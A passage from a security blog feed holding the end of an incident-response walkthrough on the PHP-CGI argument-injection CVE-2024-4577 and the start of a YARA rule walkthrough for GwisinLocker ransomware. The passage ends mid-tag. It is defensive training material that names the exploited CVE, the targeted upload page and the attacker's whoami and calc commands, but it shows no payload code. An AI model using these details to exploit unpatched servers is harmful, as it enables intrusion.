class=&#34;gallery-image&#34; data-flex-basis=&#34;328px&#34; data-flex-grow=&#34;136&#34; height=&#34;585&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/cbba3dd0561716ad77cf2be1999500d3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;After opening this in &lt;strong&gt;Notepad++,&lt;/strong&gt; we&amp;rsquo;ll see the &lt;strong&gt;Apache&lt;/strong&gt; version listed on line 1.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2021px&#34; data-flex-grow=&#34;842&#34; height=&#34;95&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/25ad1d15b16d5950dec5c6212fa503fe_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-the-attacker-managed-to-execute-commands-on-the-server-what-was-the-first-process-initiated-by-the-attackers-commands-during-their-successful-attempt&#34;&gt;Question 6: The attacker managed to execute commands on the server. What was the first process initiated by the attacker&amp;rsquo;s commands during their successful attempt?&#xA;&lt;/h3&gt;&lt;p&gt;Remember back in &lt;strong&gt;Question 1&lt;/strong&gt; that we noted a third set of artifacts in the &lt;code&gt;prefetch&lt;/code&gt; folder? Now it&amp;rsquo;s time to check them out. Once the folder is open, sort the folder contents by date modified so that we can organize the timestamps more efficiently.&lt;/p&gt;&#xA;&lt;p&gt;The folder contains the list of executables loaded into the prefetch. Remember that prefetch files are used in &lt;strong&gt;Windows&lt;/strong&gt; to speed up the loading of applications. These files contain information about the applications that have been run, including their execution history, file paths, and timestamps, which is exactly what we&amp;rsquo;ll need to answer &lt;strong&gt;Question 6&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Because we already examined the &lt;code&gt;access.log&lt;/code&gt; in &lt;strong&gt;Question 3,&lt;/strong&gt; we already have a general timeline of when the attacker accessed the server. So, let&amp;rsquo;s start there, using the timestamps of the first event range targeting the &lt;code&gt;/upload.php&lt;/code&gt; page.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;327px&#34; data-flex-grow=&#34;136&#34; height=&#34;586&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/2016378f78701f66be88011fb4a0ef72_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Pay special attention to the &lt;strong&gt;+0300&lt;/strong&gt; in the timestamp. This offset indicates that it&amp;rsquo;s 3 hours ahead of UTC, meaning the local &lt;strong&gt;prefetch&lt;/strong&gt; timestamps could be in UTC time so they won&amp;rsquo;t match the logs exactly. For example, 14:24:31 &amp;gt; 11:24 AM.&lt;/p&gt;&#xA;&lt;p&gt;Now, looking in the &lt;code&gt;prefetch&lt;/code&gt; folder, nothing seems to match the timestamps from the first attempt&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;323px&#34; data-flex-grow=&#34;134&#34; height=&#34;594&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/6c0bc0e42f57dfdaca19216c66529508_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;No problem! Let&amp;rsquo;s check the next set of events in the &lt;code&gt;access.log&lt;/code&gt; with the attacker&amp;rsquo;s source IP address, and match those to the &lt;strong&gt;prefetch&lt;/strong&gt; data — this gets us closer to the time of the IDS alert.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;659px&#34; data-flex-grow=&#34;274&#34; height=&#34;291&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/9443ae4de6f39d8dc6955ad2fbb2892f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;507px&#34; data-flex-grow=&#34;211&#34; height=&#34;378&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/8f44e8da5b019a03de06d98d31b6fb07_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Bingo! Now we have some matching time stamps and we can see the first process executed is &lt;code&gt;whoami.exe&lt;/code&gt; to check the username of the currently logged-in user.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1959px&#34; data-flex-grow=&#34;816&#34; height=&#34;98&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/3bbd1781a875e4cfe7423e4fb3a1fc13_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-before-the-attacker-was-detected-and-blocked-they-executed-another-command-launching-a-new-process-what-process-was-launched-by-thiscommand&#34;&gt;Question 7: Before the attacker was detected and blocked, they executed another command, launching a new process. What process was launched by this command?&#xA;&lt;/h3&gt;&lt;p&gt;Fortunately, the steps we took to answer the last question also work for &lt;strong&gt;Question 7&lt;/strong&gt;. Using the same matching &lt;strong&gt;prefetch&lt;/strong&gt; timestamps, we can determine that the attacker executed another command, &lt;code&gt;calc.exe&lt;/code&gt; , which is often used as a proof-of-concept demonstrating remote code execution&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1846px&#34; data-flex-grow=&#34;769&#34; height=&#34;104&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/61b0a0e9c8f705120e0aa16c824825b7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-what-is-the-cve-number-of-the-exploit-used-by-the-attacker&#34;&gt;Question 8: What is the CVE number of the exploit used by the attacker?&#xA;&lt;/h3&gt;&lt;p&gt;Now let&amp;rsquo;s put everything we&amp;rsquo;ve learned together and determine which CVE the threat actor exploited. To recap:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The compromised web server is running &lt;strong&gt;PHP 8.2.19.&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;PHP&lt;/strong&gt; is running as &lt;strong&gt;CGI&lt;/strong&gt; on &lt;strong&gt;Windows.&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;The attacker&amp;rsquo;s payload targeted the &lt;code&gt;/upload.php&lt;/code&gt; page.&lt;/li&gt;&#xA;&lt;li&gt;The attacker executed &lt;code&gt;whoami&lt;/code&gt; and &lt;code&gt;calc.exe&lt;/code&gt;, indicating we are looking for a remote code execution.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s do a &lt;strong&gt;Google&lt;/strong&gt; search with these parameters to see what information we can discover:&lt;/p&gt;&#xA;&lt;p&gt;php cgi 8.2.19 windows remote code execution vulnerability&lt;/p&gt;&#xA;&lt;p&gt;The answer is — a lot! We can select any number of the returned links to learn about this vulnerability, but all of them refer back to the disclosure write-up from the &lt;strong&gt;DEVCORE&lt;/strong&gt; Research team. The referenced PoC for &lt;strong&gt;CVE-2024€“4577&lt;/strong&gt; looks &lt;em&gt;very&lt;/em&gt; familiar based on what we saw in our logs.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/?ref=labs.watchtowr.com&#34;  title=&#34;https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/?ref=labs.watchtowr.com&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Security Alert: CVE-2024-4577 - PHP CGI Argument Injection Vulnerability | DEVCORE æˆ´å¤«å¯‡çˆ¾&lt;/strong&gt;&#xA;_While implementing PHP, the team did not notice the Best-Fit feature of encoding conversion within the Windows&amp;hellip;_devco.re&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/?ref=labs.watchtowr.com&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/php/php-src/security/advisories/GHSA-3qgc-jrrr-25jv&#34;  title=&#34;https://github.com/php/php-src/security/advisories/GHSA-3qgc-jrrr-25jv&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;PHP RCE: A Bypass of CVE-2012-1823, Argument Injection in PHP-CGI&lt;/strong&gt;&#xA;_Hi, I am Orange Tsai from DEVCORE Research Team. We recently found a vulnerability on PHP. We have reproduced the&amp;hellip;_github.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/php/php-src/security/advisories/GHSA-3qgc-jrrr-25jv&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1939px&#34; data-flex-grow=&#34;808&#34; height=&#34;99&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/57e5cd5270bd032f6662fa7540f7be5e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;There we have it! Using the PHP logs, we discovered that the web server was running a version of PHP vulnerable to &lt;a class=&#34;link&#34; href=&#34;https://nvd.nist.gov/vuln/detail/cve-2024-4577&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;CVE-2024€“4577&lt;/a&gt;. After that, we leveraged the Apache logs to discover the attacker&amp;rsquo;s IP address, what web page was targeted, then correlated the data with the Windows Prefetch to uncover evidence of remote code execution. Now that we have scoped the attack and completed our objectives, let&amp;rsquo;s close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/php-cgi-CVE-2024-4577&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;PHP-CGI (CVE-2024€“4577)&lt;/strong&gt;&lt;/a&gt;!&lt;/p&gt;&#xA;&lt;p&gt;Another big thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for continuing to provide these awesome labs. I chose this challenge to better understand how web servers work and see what logs are available during incident response. I appreciated that the discovery process built a catalog of evidence that could be used to locate the applicable CVE number. It was a fun process to do the detective work based on the clues. After going through this challenge, I&amp;rsquo;ve gained a better understanding of this vulnerability and assembled valuable resources to tackle the triage process in the real world.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/07670987b1c64247f60a1576b9626235_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;PHP Manual:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.php.net/manual/en/introduction.php&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;PHP: Introduction — Manual&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Apache Documentation:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://httpd.apache.org/docs/2.4/configuring.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Configuration Files — Apache HTTP Server Version 2.4&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Devcore Blog — Security Alert: CVE-2024€“4577 — PHP CGI Argument Injection Vulnerability:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/?ref=labs.watchtowr.com&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/?ref=labs.watchtowr.com&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;PHP Security Advisories GitHub:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/php/php-src/security/advisories/GHSA-3qgc-jrrr-25jv&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/php/php-src/security/advisories/GHSA-3qgc-jrrr-25jv&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;National Vulnerability Database (CVE-2024€“4577):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://nvd.nist.gov/vuln/detail/cve-2024-4577&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://nvd.nist.gov/vuln/detail/cve-2024-4577&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — YARA Rule Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/</link>
            <pubDate>Mon, 20 Jan 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — YARA Rule Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--yara-rule-challenge-walkthrough&#34;&gt;LetsDefend — YARA Rule Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;an-introduction-to-yara-rules-using-notepad-ida-and-hybridanalysis&#34;&gt;An introduction to YARA rules using Notepad++, IDA, and Hybrid Analysis&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;366&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; width=&#34;700&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Welcome to my weekly walkthrough!&lt;/strong&gt; If you&amp;rsquo;ve stumbled across this blog searching for a detailed guide of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/yara-rule&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;YARA Rule&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place.&lt;/p&gt;&#xA;&lt;p&gt;For those unfamiliar with &lt;strong&gt;YARA rules,&lt;/strong&gt; this challenge provides an excellent introduction. Before diving in, let&amp;rsquo;s quickly cover what &lt;a class=&#34;link&#34; href=&#34;https://virustotal.github.io/yara/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;YARA&lt;/strong&gt;&lt;/a&gt; is based on the information from the project&amp;rsquo;s GitHub.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;YARA is a tool aimed at (but not limited to) helping malware researchers to identify and classify malware samples. With YARA you can create descriptions of malware families (or whatever you want to describe) based on textual or binary patterns. Each description, a.k.a rule, consists of a set of strings and a boolean expression which determine its logic.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Put another way, &lt;strong&gt;YARA&lt;/strong&gt; rules are written to identify malware based on matching specific content within a sample. For this challenge, we&amp;rsquo;ll examine a &lt;strong&gt;YARA&lt;/strong&gt; rule in &lt;strong&gt;Notepad++&lt;/strong&gt; to understand the parts of a rule. Then, we&amp;rsquo;ll apply the rule&amp;rsquo;s logic to search for matching strings within a malware binary using &lt;strong&gt;IDA.&lt;/strong&gt; Finally, we&amp;rsquo;ll pivot to &lt;strong&gt;Hybrid Analysis&lt;/strong&gt; to search the submissions data with the rule and identify matching samples. Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/yara-rule&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/yara-rule&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Welcome to the YARA Rules Challenge! This exercise is designed to introduce you to the basics of YARA rules and how they work.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;File Location-1&lt;/strong&gt;: C:\Users\LetsDefend\Desktop\ChallengeFiles\sample.7z&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;File Location-2&lt;/strong&gt;: C:\Users\LetsDefend\Desktop\ChallengeFiles\sample.yara&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-name-of-this-yararule&#34;&gt;Question 1: What is the name of this YARA rule?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s jump right into the action! The &lt;strong&gt;ChallengeFiles&lt;/strong&gt; folder contains two files: &lt;strong&gt;sample.yara&lt;/strong&gt; and &lt;strong&gt;sample.7z.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll use both files during the challenge but let&amp;rsquo;s focus first on examining &lt;strong&gt;sample.yara&lt;/strong&gt;. Remember, &lt;strong&gt;YARA&lt;/strong&gt; Rules are written to identify malware based on matching content within the sample. So, let&amp;rsquo;s open &lt;strong&gt;sample.yara&lt;/strong&gt; using a text editor like &lt;strong&gt;Notepad++&lt;/strong&gt; and see what&amp;rsquo;s inside.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;635px&#34; data-flex-grow=&#34;264&#34; height=&#34;302&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/a89ebfc96fa1efad1b158f1832c6e41b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 1&lt;/strong&gt; we&amp;rsquo;ll start out easy, looking for the &lt;strong&gt;rule identifier&lt;/strong&gt;. According the &lt;strong&gt;YARA documentation,&lt;/strong&gt; &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;each rule in YARA starts with the keyword &lt;code&gt;rule&lt;/code&gt; followed by a rule identifier&amp;quot;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;341px&#34; data-flex-grow=&#34;142&#34; height=&#34;563&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/a25158b51059270b83f4f5f62b7c36c8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2594px&#34; data-flex-grow=&#34;1081&#34; height=&#34;74&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/90af27cd6fefa471315609fc3fd44896_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-name-of-the-author-of-this-yararule&#34;&gt;Question 2: What is the name of the author of this YARA rule?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 2&lt;/strong&gt;, refer to the &lt;strong&gt;meta&lt;/strong&gt; section of the rule, which contains details about the rule itself such as the author, description, and purpose of the rule.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;341px&#34; data-flex-grow=&#34;142&#34; height=&#34;563&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/0176be26f2001faebda35d187747081f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2285px&#34; data-flex-grow=&#34;952&#34; height=&#34;84&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/cd467391575ced3c29425fcd6a1316a4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-extension-of-the-encrypted-file&#34;&gt;Question 3: What is the extension of the encrypted file?&#xA;&lt;/h3&gt;&lt;p&gt;For &lt;strong&gt;Question 3,&lt;/strong&gt; we need to identify the extension added by the &lt;strong&gt;GwisinLocker&lt;/strong&gt; ransomware that the &lt;strong&gt;YARA&lt;/strong&gt; rule is targeting. We can find this information in the &lt;strong&gt;strings&lt;/strong&gt; section of the rule, specifically in the &lt;code&gt;$ext&lt;/code&gt; variable.&lt;/p&gt;&#xA;&lt;p&gt;According to the &lt;a class=&#34;link&#34; href=&#34;https://yara.readthedocs.io/en/latest/writingrules.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;YARA documentation&lt;/strong&gt;&lt;/a&gt;,&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;The strings definition section is where the strings that will be part of the rule are defined. Each string has an identifier consisting of a $ character followed by a sequence of alphanumeric characters and underscores, these identifiers can be used in the condition section to refer to the corresponding string. Strings can be defined in text or hexadecimal form&amp;hellip;&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;341px&#34; data-flex-grow=&#34;142&#34; height=&#34;563&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/184722934133692658ff9121ad740117_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2313px&#34; data-flex-grow=&#34;963&#34; height=&#34;83&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/32d4b622d685e08309dca2b5d95e146d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-is-the-assembly-instruction-that-stores-the-hex-opcode-in-the-yararule&#34;&gt;Question 4: What is the assembly instruction that stores the $hex opcode in the YARA rule?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve gotten some understanding of the &lt;strong&gt;YARA&lt;/strong&gt; rule, it&amp;rsquo;s time to pivot to the second file within the &lt;strong&gt;ChallengeFiles&lt;/strong&gt; folder, &lt;strong&gt;sample.7z.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Extract the sample from the archive using the password from the challenge description which leaves us with a binary to analyze.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;521px&#34; data-flex-grow=&#34;217&#34; height=&#34;368&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/268a70191cfb95e2847b19d5a960896c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;re going to perform some static analysis to locate information in the binary targeted by the &lt;strong&gt;YARA&lt;/strong&gt; rule, specifically the &lt;strong&gt;opcode&lt;/strong&gt; stored within the &lt;code&gt;$hex&lt;/code&gt; variable of the &lt;strong&gt;strings&lt;/strong&gt; section. Copy the hex string, we&amp;rsquo;ll need it for the next steps.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;341px&#34; data-flex-grow=&#34;142&#34; height=&#34;563&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/e494068e6e7bc43fc501184db310f200_MD5.png&#34; 